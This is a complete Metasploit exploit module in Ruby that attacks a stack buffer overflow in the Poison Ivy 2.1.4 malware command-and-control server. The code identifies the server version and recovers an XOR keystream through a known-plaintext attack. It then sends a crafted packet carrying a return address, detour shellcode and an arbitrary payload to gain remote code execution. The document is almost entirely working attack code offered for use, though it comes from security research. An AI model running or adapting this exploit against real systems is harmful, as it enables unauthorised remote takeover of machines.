## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server. The exploit does not need to know the password chosen for the bot/server communication. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module ], 'References' => [ [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ], ], 'DisclosureDate' => 'Jun 03 2016', 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD) }, 'Platform' => 'win', 'Targets' => [ [ 'Poison Ivy 2.1.4 on Windows XP SP3', { 'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe" 'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe" 'InfoSizeOffset' => 0x1111, # offset of InfoSize variable 'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable 'Packet2Offset' => 0xB9E # offset of second packet within server's response } ] ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(3460) ], self.class) end # XOR two strings def xor_strings(s1, s2) s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*') end # Obtain keystream using known plaintext def get_keystream(ciphertext, knownPlaintext) if(ciphertext.length < knownPlaintext.length) return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length]) else return xor_strings(ciphertext, knownPlaintext) end end # Apply keystream to plaintext def use_keystream(plaintext, keyStream) if(keyStream.length > plaintext.length) return xor_strings(plaintext, keyStream[0, plaintext.length]) else return xor_strings(plaintext, keyStream) end end def check connect # Poke sock.put("\x01") # Fetch response response = sock.get_once(6) if (response == "\x89\xFF\x90\x0B\x00\x00") vprint_status("Poison Ivy C&C version 2.1.4 detected.") return Exploit::CheckCode::Appears elsif (response == "\x89\xFF\x38\xE0\x00\x00") vprint_status("Poison Ivy C&C version 2.0.0 detected.") return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end # Load known plaintext chunk def load_c2_packet_chunk path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin') chunk = ::File.open(path, 'rb') { |f| chunk = f.read } chunk end def exploit # Known plaintext from C2 packet knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00" knownPlaintext2 = load_c2_packet_chunk() # detour shellcode (mov eax, StoreAddress; jmp eax) detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress detourShellcode << "\xFF\xE0" # jmp eax # Padding where necessary compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length) # Construct exploit buffer exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder) exploitBuffer << compressedBuffer # compressedBuffer exploitBuffer << "\xFF" * 0x104 # readfds exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder) exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder) exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4 exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd exploitBuffer << Rex::Text.rand_text_alpha(4) # s exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP exploitBuffer << [target['Ret']].pack("V") # EIP exploitBuffer << [target['StoreAddress']].pack("V") # arg_0 exploitBuffer << detourShellcode # detour to storage area # Calculate values allocSize = exploitBuffer.length + 1024 infoLen = payload.encoded.length infoSize = (infoLen + 4) # Handshake connect print_status("Performing handshake...") # Poke sock.put("\x01") # Fetch response response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize) eHeader = response[target['Packet2Offset'], 6] eInfo = response[target['Packet2Offset'] + 10..-1] if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize)) # Keystream derivation using Known Plaintext Attack keyStream1 = get_keystream(eHeader, knownPlaintext1) keyStream2 = get_keystream(eInfo, knownPlaintext2) # Set correct infoLen exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1] # Set correct decompressSize exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1] # Build packet malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1) # Encrypt infoSize bytes encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1] # Make sure infoSize gets overwritten properly since it is processed before decryption encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1] # Finalize packet exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer print_status("Sending exploit...") # Send exploit sock.put(exploitPacket) else print_status("Not enough keystream available...") end select(nil,nil,nil,5) disconnect end end # Iranian Exploit DataBase = http://IeDb.Ir [2016-06-24]